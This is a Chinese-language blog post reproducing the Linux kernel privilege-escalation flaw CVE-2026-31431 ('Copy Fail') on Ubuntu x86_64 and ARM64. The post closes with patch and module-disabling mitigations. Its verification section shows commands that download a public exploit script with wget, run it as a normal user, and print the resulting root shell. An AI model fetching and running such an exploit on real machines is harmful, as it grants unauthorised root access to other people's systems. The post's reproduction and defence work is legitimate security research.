CVE-2026-31431 (Copy Fail) 漏洞复现与验证记录

CVE-2026-31431 (Copy Fail) 漏洞复现与验证记录

时间:2026年4月30日

目标:验证 Linux 内核本地提权漏洞 CVE-2026-31431 的真实性与影响范围

一、漏洞概述

CVE-2026-31431 ,命名为 "Copy Fail" ,是一个 Linux 内核 algif_aead 模块中的高危本地提权漏洞 。该漏洞自 2017 年起潜伏于内核,影响几乎所有主流 Linux 发行版(包括 Ubuntu、Debian、RHEL、SUSE 等)。攻击者利用该漏洞可在非 root 用户 条件下获得完整的 root 权限。CVSS v3.1 评分为 7.8(高危),其利用代码(PoC)已于 2026 年 4 月 30 日公开,拥有极高的现实威胁性。

二、影响范围

  • 受影响内核版本:2017 年之后的绝大多数 Linux 内核(包括但不限于 5.x、6.x、7.x 早期版本)
  • 已确认受影响的发行版及内核
    • Ubuntu 24.04 LTS(内核 6.8.0-41-generic)
    • Ubuntu 22.04 LTS(内核 5.15.0-176-generic)
    • 其他基于相同内核版本的 Linux 系统

三、复现环境

3.1 x86_64 环境(成功提权)

项目 信息
操作系统 Ubuntu 24.04 LTS(基于内核 6.8.0-41)
架构 x86_64
内核版本 6.8.0-41-generic #41-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 2 20:41:06 UTC 2024
完整 uname -a Linux ubuntu-1170-12-2C-V11C 6.8.0-41-generic #41-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 2 20:41:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
漏洞模块 algif_aead
Python 版本 3.10.x(系统自带)
用户权限 普通用户 (uid=1000)

3.2 ARM64 环境(漏洞存在,PoC 未适配)

项目 信息
操作系统 Ubuntu 22.04.2 LTS
架构 aarch64 (ARM64)
内核版本 5.15.0-176-generic
漏洞模块 algif_aead
Python 版本 3.12.13(自编译)
用户权限 普通用户 (uid=1000)

四、验证过程

4.1 x86_64 环境:成功提权

  1. 下载公开 PoC (以原始 exp.py 为例):

    bash 复制代码
    wget https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/exp.py
  2. 确认漏洞模块已加载

    bash 复制代码
    lsmod | grep algif_aead
    • 若未加载,手动加载:sudo modprobe algif_aead
  3. 以普通用户身份运行 PoC

    bash 复制代码
    python3 exp.py
  4. 执行结果

    复制代码
    # whoami
    root
    # uname -a
    Linux ubuntu-1170-12-2C-V11C 6.8.0-41-generic #41-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 2 20:41:06 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux

    成功获得 root shell,验证漏洞真实存在且利用稳定。

4.2 ARM64 环境:漏洞存在但 PoC 不兼容

  1. 检查内核版本与模块

    bash 复制代码
    parallels@ubuntu:~$ uname -r
    5.15.0-176-generic
    parallels@ubuntu:~$ lsmod | grep algif_aead
    algif_aead             20480  0
    af_alg                 32768  1 algif_aead

    → 满足漏洞触发条件。

  2. 尝试运行 x86 版 PoC(未经修改):

    bash 复制代码
    python3  arm_exp.py

    出现错误:

    复制代码
    sh: 1: su: Exec format error
  3. 原因分析

    • 公开 PoC 中嵌入的 shellcode 为 x86_64 架构指令。
    • 在 ARM64 系统上执行该 PoC 时,shellcode 被写入 /usr/bin/su 的内存映射,导致 su 二进制文件损坏(ELF 头被错误指令覆盖),系统无法识别。
    • 漏洞本身在 ARM64 内核中同样存在,但缺乏适配的 ARM64 利用代码。
  4. 进一步验证 ARM64 漏洞存在性

    • 执行 sudo apt install --reinstall passwd 恢复损坏的 su
    • 漏洞触发条件(algif_aead 可用 + 内核版本未修复)依然满足。
    • 结论:ARM64 系统确实存在漏洞,只是无法利用现有的 x86 PoC 提权。

五、漏洞原理简述

Copy Fail 漏洞位于 algif_aead 内核模块的处理逻辑中。攻击者通过精心构造的 sendmsg 调用触发内核内存复制竞争条件,导致任意内核内存写入 。在 PoC 中,攻击者将目标锁定为 su 程序的内存映像,覆盖其代码段中的特定字节,使其执行 execve("/bin/sh") 从而获得 root shell。

六、修复建议

6.1 立即升级内核(官方补丁)

发行版 修复内核版本(示例)
Ubuntu 22.04 ≥ 5.15.0-178
Ubuntu 24.04 ≥ 6.8.0-42
通用 Linux ≥ 6.18.22 / 6.19.12 / 7.0

执行以下命令更新系统并重启:

bash 复制代码
sudo apt update && sudo apt upgrade -y
sudo reboot

6.2 临时缓解措施(无法立即升级时)

禁用存在漏洞的内核模块 algif_aead

bash 复制代码
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
sudo rmmod algif_aead 2>/dev/null

注意:禁用该模块可能会影响某些使用 AEAD 算法的加密应用,但通常不影响日常使用。

七、总结

环境 漏洞存在 成功提权 原因
Ubuntu 24.04 LTS(基于内核 6.8.0-41) 公开 PoC 直接可用
ARM64 Ubuntu 22.04 PoC 不兼容,需适配 shellcode
  • CVE-2026-31431 是一个真实且高危的 Linux 本地提权漏洞,影响广泛。
  • 普通用户应立即更新内核,避免被恶意攻击者利用。
  • 安全研究人员在 ARM64 平台上复现时,需要自行编译 ARM64 版本的 shellcode 并修改 PoC 中的写入逻辑(保留 ELF 头完整性)。目前公开的 PoC 仅支持 x86_64。

八、附录

A. 恢复被损坏的 su 命令(ARM64 环境)

如果运行 x86 PoC 导致 /usr/bin/su 损坏,执行:

bash 复制代码
sudo apt install --reinstall passwd

B. 参考链接


声明:本文仅用于安全研究和技术交流,请勿用于非法攻击。建议所有受影响用户尽快升级修复。

相关推荐
alxraves4 小时前
基于YY 9706.106-2021标准可用性测试概述
安全·健康医疗·制造·可用性测试
bqq198610264 小时前
Ubuntu vs CentOS
linux·服务器
WHS-_-20225 小时前
Tensor-Based Target Sensing for Resource-Irregular ISAC Systems
linux·人工智能·算法
北京盟通科技官方账号5 小时前
工业安全:FSoE (Fail Safe over EtherCAT) 常见技术问题解析
安全·具身智能·ethercat·人形机器人·工业安全·fsoe·ecmaster
kobesdu5 小时前
AGV安全防护全解析:安全产品分类与简介
人工智能·安全·移动机器人
雨声不在5 小时前
linux Copy Fail
linux·服务器
Gary Studio5 小时前
Selinux编写
linux·服务器·前端
Danileaf_Guo5 小时前
手搓KVM虚拟化!Ubuntu 26.04 + KVM 7.0.0,告别VMware的低成本玩法
linux·运维·服务器·ubuntu
wuminyu5 小时前
专家视角看Java多态性的底层基石vtable(虚函数表)构建过程解析
java·linux·c语言·jvm·c++